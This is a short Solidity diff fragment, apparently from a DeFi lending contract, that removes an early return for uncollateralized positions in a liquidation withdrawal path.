         uint256 userShares = userLendingData[_nftId][_receiveTokens].shares;
         uint256 pureCollateral = pureCollateralAmount[_nftId][_receiveTokens];
         
         ...

 
-        if (userLendingData[_nftId][_receiveTokens].unCollateralized == true) {
-            return receiveAmount;
-        }
-
         return _withdrawOrAllocateSharesLiquidation(
             _nftId,
             _nftIdLiquidator,